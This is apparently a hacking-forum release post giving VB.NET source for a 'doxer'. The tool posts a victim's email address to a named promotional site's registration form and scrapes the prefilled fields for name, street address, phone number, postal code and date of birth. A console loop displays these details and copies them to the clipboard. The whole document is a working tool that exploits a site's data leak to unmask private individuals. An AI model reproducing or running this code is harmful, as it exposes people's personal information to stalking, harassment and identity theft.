[Release] [Source] A generic doxer

Code:

Imports System.Net
Imports System.IO
Imports System.Text

Public Class d0x
    Private _accept As String = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    Private _source As String = ""
    Private _this As String
    Private _UserAgent As String = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0"
    Private cookies As New CookieContainer()

    Public Function dox(ByVal email As String) As String()
        Dim hurr As String
        Dim obj2 As Object
        Dim out As String()
        Try
            Dim s As String = "js_status=y&show_email_field=&cmd=perform_email&from=&sprofile=0&promo_name=compaqvstoshibavsgateway&promo_id=141017&catalog_id=1373&promotion_id=130&site_id=100&style_id=1&template_style=&prepop_type=submit&gift_prepop=creative&page_config_id=7&tmp_sequence=5956-1184-13239-11017-6166-8815-8816-8817-10665-9186&promo_area=&promo_creative=&mode=pitch&uid=&pcd=&raf_ad_id=&redirect_url=&ua=&ex=&sprofile=0&pid_value=599&gift=274&email=" & Convert.ToString(email) & "&submit=Continue%21+%BB&title=_skip&sex=_skip&street=_skip&city=_skip&state=&phone=_skip&country=ca&cphone="
            ServicePointManager.Expect100Continue = False
            Dim bytes As Byte() = New UTF8Encoding().GetBytes(s)
            Dim request As HttpWebRequest = DirectCast(WebRequest.Create("http://www.hotgiftzone.com/xg_reg.htm"), HttpWebRequest)
            request.Method = "POST"
            request.CookieContainer = cookies
            request.ContentType = "application/x-www-form-urlencoded"
            request.Referer = "Referer: http://www.hotgiftzone.com/rd_p?p=141017&t=1373"
            request.UserAgent = Useragent
            request.AutomaticDecompression = DecompressionMethods.None
            request.Accept = accept
            request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-us,en;q=0.5")
            request.Headers.Add(HttpRequestHeader.AcceptCharset, "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
            request.ContentLength = bytes.Length
            Dim requestStream As Stream = request.GetRequestStream()
            requestStream.Write(bytes, 0, bytes.Length)
            requestStream.Close()
            Dim response As HttpWebResponse = DirectCast(request.GetResponse(), HttpWebResponse)
            cookies.Add(response.Cookies)
            Dim str2 As String = New StreamReader(response.GetResponseStream()).ReadToEnd()
            this = str2
            hurr = str2
            If hurr = str2 Then
                out = parse(hurr)
            End If
            obj2 = str2
        Catch ex As Exception

        End Try
        Return out
    End Function

    Private Function parse(ByVal input As String) As String()
        Dim title, fname, lname, staddress, city, state, country, zip, phone, birth As String
        Try
            Dim str13 As String = Strings.Split(input, "  SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
            Dim str7 As String = Strings.Split(input, "NAME='fname' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            Dim str5 As String = Strings.Split(input, "NAME='lname' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            Dim str12 As String = Strings.Split(input, "NAME='street' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            Dim str As String = Strings.Split(input, "NAME='city' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            Dim str10 As String = input.Substring(input.IndexOf("<SELECT NAME='state'>") + "<SELECT NAME='state'>".Length)
            Dim str9 As String = Strings.Split(str10.Substring(0, str10.IndexOf("</OPTION><OPTION VALUE=''>")).Trim(), "SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
            Dim str11 As String = input.Substring(input.IndexOf("<SELECT NAME='country'>") + "<SELECT NAME='state'>".Length)
            Dim str2 As String = Strings.Split(str11.Substring(0, str11.IndexOf("</OPTION><OPTION VALUE=''>")).Trim(), "SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
            Dim str15 As String = Strings.Split(input, "<INPUT NAME='zip' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            Dim str8 As String = Strings.Split(input, "<INPUT NAME='phone' VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            Dim str3 As String = input.Substring(input.IndexOf("<SELECT NAME='bd_m'>") + "<SELECT NAME='bd_m'>".Length)
            Dim str6 As String = Strings.Split(str3.Substring(0, str3.IndexOf("</OPTION><OPTION VALUE=''>")).Trim(), "SELECTED>", -1, CompareMethod.Binary)(1).Split(New Char() {"<"c})(0)
            Dim str4 As String = Strings.Split(input, "<SELECT NAME='bd_d'><OPTION SELECTED VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            Dim str14 As String = Strings.Split(input, "NAME='bd_y'><OPTION SELECTED VALUE='", -1, CompareMethod.Binary)(1).Split(New Char() {"'"c})(0)
            title = str13
            fname = str7
            lname = str5
            staddress = str12
            city = str
            state = str9
            country = str2
            zip = str15
            phone = str8
            birth = str6 + " - " + str4 + " - " + str14
            Return New String() {title, fname, lname, staddress, city, state, country, zip, phone, birth}
        Catch exception1 As Exception
            Dim exception As Exception = exception1
            Return New String() {"Error"}
        End Try
    End Function

    Private Property accept() As String
        Get
            Return _accept
        End Get
        Set(ByVal value As String)
            _accept = value
        End Set
    End Property

    Private Property source() As String
        Get
            Return _source
        End Get
        Set(ByVal value As String)
            _source = value
        End Set
    End Property

    Private Property this() As String
        Get
            Return _this
        End Get
        Set(ByVal value As String)
            _this = value
        End Set
    End Property

    Private Property Useragent() As String
        Get
            Return _UserAgent
        End Get
        Set(ByVal value As String)
            _UserAgent = value
        End Set
    End Property
End Class

Code:

Imports d0x

Module Module1

    Sub Main()
        'Declare a new instance of the class
        Dim client As New d0x.d0x
1:
        'Get email from input
        Console.Write("Email: ")
        Dim email As String = Console.ReadLine()

        'Perform the actual doxing
        Dim details As String() = client.dox(email)

        'Check for errors
        If details(0) = "Error" Then
            Console.WriteLine("Couldn't dox email.")
            GoTo 1
        End If

        'No errors encountered, proceed
        Console.Write("Title: ")
        Console.WriteLine(details(0))
        Console.Write("First name: ")
        Console.WriteLine(details(1))
        Console.Write("Last name: ")
        Console.WriteLine(details(2))
        Console.Write("Street address: ")
        Console.WriteLine(details(3))
        Console.Write("City: ")
        Console.WriteLine(details(4))
        Console.Write("State/Province: ")
        Console.WriteLine(details(5))
        Console.Write("Country: ")
        Console.WriteLine(details(6))
        Console.Write("Zip/Postal code: ")
        Console.WriteLine(details(7))
        Console.Write("Phone number: ")
        Console.WriteLine(details(8))
        Console.Write("Date of birth: ")
        Console.WriteLine(details(9))

        Console.WriteLine() 'Make a space

        Console.WriteLine("Details copied to clipboard!")

        'Copy details to clipboard
        My.Computer.Clipboard.SetText("Title: " + details(0) + Environment.NewLine + _
                                      "First name: " + details(1) + Environment.NewLine + _
                                      "Last name: " + details(2) + Environment.NewLine + _
                                      "Email: " + email + Environment.NewLine + _
                                      "Street address: " + details(3) + Environment.NewLine + _
                                      "City: " + details(4) + Environment.NewLine + _
                                      "State/Province: " + details(5) + Environment.NewLine + _
                                      "Country: " + details(6) + Environment.NewLine + _
                                      "Zip/Postal code: " + details(7) + Environment.NewLine + _
                                      "Phone number: " + details(8) + Environment.NewLine + _
                                      "Date of birth: " + details(9) + Environment.NewLine)
        GoTo 1

    End Sub

End Module